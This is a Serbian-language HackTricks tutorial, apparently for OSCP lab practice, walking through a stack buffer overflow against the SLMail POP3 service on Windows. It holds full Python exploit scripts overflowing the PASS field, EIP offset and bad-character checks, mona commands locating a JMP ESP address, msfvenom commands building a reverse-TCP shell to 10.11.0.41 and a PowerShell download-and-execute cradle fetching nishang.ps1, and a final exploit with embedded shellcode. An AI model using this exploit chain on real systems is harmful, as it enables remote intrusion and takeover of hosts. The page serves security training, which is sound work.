hacktricks/binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md

10 KiB

Windows Exploiting (Osnovni vodič - nivo OSCP)

{% hint style="success" %} Naučite i vežbajte hakovanje AWS-a:HackTricks Training AWS Red Team Expert (ARTE)
Naučite i vežbajte hakovanje GCP-a: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks
{% endhint %}

Počnite instalaciju SLMail servisa

Ponovno pokretanje SLMail servisa

Svaki put kada treba ponovo pokrenuti servis SLMail to možete uraditi koristeći Windows konzolu:

net start slmail

Veoma osnovni Python šablon za eksploataciju

#!/usr/bin/python

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ip = '10.11.25.153'
port = 110

buffer = 'A' * 2700
try:
print "\nLaunching exploit..."
s.connect((ip, port))
data = s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "\nFinished!."
except:
print "Could not connect to "+ip+":"+port

Promenite font Immunity Debugger-a

Idite na Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK

Povežite proces sa Immunity Debugger-om:

File --> Attach

I pritisnite dugme START

Pošaljite eksploit i proverite da li je EIP pogođen:

Svaki put kada prekinete servis, trebalo bi da ga ponovo pokrenete kako je naznačeno na početku ove stranice.

Kreirajte šablon za modifikaciju EIP-a

Šablon bi trebalo da bude veličine bafera koji ste prethodno koristili za prekid servisa.

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000

Promenite bafer eksploatacije i postavite obrazac, zatim pokrenite eksploataciju.

Treba da se pojavi novi pad, ali sa drugačijom EIP adresom:

Proverite da li se adresa nalazi u vašem obrascu:

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438

Izgleda da možemo izmeniti EIP na offsetu 2606 bafera.

Proverite to modifikujući bafer eksploatacije:

buffer = 'A'*2606 + 'BBBB' + 'CCCC'

Sa ovim baferom EIP koji je pao treba da pokazuje na 42424242 ("BBBB")

Izgleda da radi.

Provera prostora za Shellcode unutar steka

600B bi trebalo da bude dovoljno za bilo koji moćan shellcode.

Promenimo bafer:

buffer = 'A'*2606 + 'BBBB' + 'C'*600

Pokrenite novi exploit i proverite EBP i dužinu korisnog shell koda

Možete primetiti da kada se dostigne ranjivost, EBP pokazuje na shell kod i da imamo puno prostora da lociramo shell kod ovde.

U ovom slučaju imamo od 0x0209A128 do 0x0209A2D6 = 430B. Dovoljno.

Provera loših karaktera

Ponovo promenite bafer:

badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
buffer = 'A'*2606 + 'BBBB' + badchars

Badchars počinju od 0x01 jer je 0x00 gotovo uvek loš.

Izvršite ponovo eksploataciju sa ovim novim baferom, izbacujući karaktere koji su se pokazali kao beskorisni:.

Na primer:

U ovom slučaju možete videti da ne biste trebali koristiti karakter 0x0A (ništa nije sačuvano u memoriji jer je karakter 0x09).

U ovom slučaju možete videti da je karakter 0x0D izbegnut:

Pronađite JMP ESP kao povratnu adresu

Koristeći:

!mona modules    #Get protections, look for all false except last one (Dll of SO)

Morate navesti mape memorije. Potražite neki DLl koji ima:

  • Rebase: False
  • SafeSEH: False
  • ASLR: False
  • NXCompat: False
  • OS Dll: True

Sada, unutar ove memorije trebalo bi pronaći neke bajtove JMP ESP, da biste to uradili izvršite:

!mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP)
!mona find -s "\xff\xe4" -m slmfc.dll # Example in this case

Zatim, ako je pronađena neka adresa, izaberite onu koja ne sadrži nijedan loš karakter:

U ovom slučaju, na primer: _0x5f4a358f_

Kreirajte shellcode

msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d'
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d'

Ako eksploatacija ne radi, ali trebalo bi (možete videti sa ImDebg da je shellkod dostignut), pokušajte da kreirate druge shellkodove (msfvenom će kreirati različite shellkodove za iste parametre).

Dodajte nekoliko NOPS-ova na početak shellkoda i koristite ih zajedno sa adresom povratka za JMP ESP, i završite eksploataciju:

#!/usr/bin/python

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ip = '10.11.25.153'
port = 110

shellcode = (
"\xb8\x30\x3f\x27\x0c\xdb\xda\xd9\x74\x24\xf4\x5d\x31\xc9\xb1"
"\x52\x31\x45\x12\x83\xed\xfc\x03\x75\x31\xc5\xf9\x89\xa5\x8b"
"\x02\x71\x36\xec\x8b\x94\x07\x2c\xef\xdd\x38\x9c\x7b\xb3\xb4"
"\x57\x29\x27\x4e\x15\xe6\x48\xe7\x90\xd0\x67\xf8\x89\x21\xe6"
"\x7a\xd0\x75\xc8\x43\x1b\x88\x09\x83\x46\x61\x5b\x5c\x0c\xd4"
"\x4b\xe9\x58\xe5\xe0\xa1\x4d\x6d\x15\x71\x6f\x5c\x88\x09\x36"
"\x7e\x2b\xdd\x42\x37\x33\x02\x6e\x81\xc8\xf0\x04\x10\x18\xc9"
"\xe5\xbf\x65\xe5\x17\xc1\xa2\xc2\xc7\xb4\xda\x30\x75\xcf\x19"
"\x4a\xa1\x5a\xb9\xec\x22\xfc\x65\x0c\xe6\x9b\xee\x02\x43\xef"
"\xa8\x06\x52\x3c\xc3\x33\xdf\xc3\x03\xb2\x9b\xe7\x87\x9e\x78"
"\x89\x9e\x7a\x2e\xb6\xc0\x24\x8f\x12\x8b\xc9\xc4\x2e\xd6\x85"
"\x29\x03\xe8\x55\x26\x14\x9b\x67\xe9\x8e\x33\xc4\x62\x09\xc4"
"\x2b\x59\xed\x5a\xd2\x62\x0e\x73\x11\x36\x5e\xeb\xb0\x37\x35"
"\xeb\x3d\xe2\x9a\xbb\x91\x5d\x5b\x6b\x52\x0e\x33\x61\x5d\x71"
"\x23\x8a\xb7\x1a\xce\x71\x50\x2f\x04\x79\x89\x47\x18\x79\xd8"
"\xcb\x95\x9f\xb0\xe3\xf3\x08\x2d\x9d\x59\xc2\xcc\x62\x74\xaf"
"\xcf\xe9\x7b\x50\x81\x19\xf1\x42\x76\xea\x4c\x38\xd1\xf5\x7a"
"\x54\xbd\x64\xe1\xa4\xc8\x94\xbe\xf3\x9d\x6b\xb7\x91\x33\xd5"
"\x61\x87\xc9\x83\x4a\x03\x16\x70\x54\x8a\xdb\xcc\x72\x9c\x25"
"\xcc\x3e\xc8\xf9\x9b\xe8\xa6\xbf\x75\x5b\x10\x16\x29\x35\xf4"
"\xef\x01\x86\x82\xef\x4f\x70\x6a\x41\x26\xc5\x95\x6e\xae\xc1"
"\xee\x92\x4e\x2d\x25\x17\x7e\x64\x67\x3e\x17\x21\xf2\x02\x7a"
"\xd2\x29\x40\x83\x51\xdb\x39\x70\x49\xae\x3c\x3c\xcd\x43\x4d"
"\x2d\xb8\x63\xe2\x4e\xe9"
)

buffer = 'A' * 2606 + '\x8f\x35\x4a\x5f' + "\x90" * 8 + shellcode
try:
print "\nLaunching exploit..."
s.connect((ip, port))
data = s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "\nFinished!."
except:
print "Could not connect to "+ip+":"+port

{% hint style="warning" %} Postoje shellkodovi koji će prepisati sami sebe, stoga je važno uvek dodati neke NOP instrukcije pre shellkoda {% endhint %}

Unapređivanje shellkoda

Dodajte ove parametre:

EXITFUNC=thread -e x86/shikata_ga_nai

{% hint style="success" %} Učite i vežbajte AWS hakovanje: HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP hakovanje: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks
{% endhint %}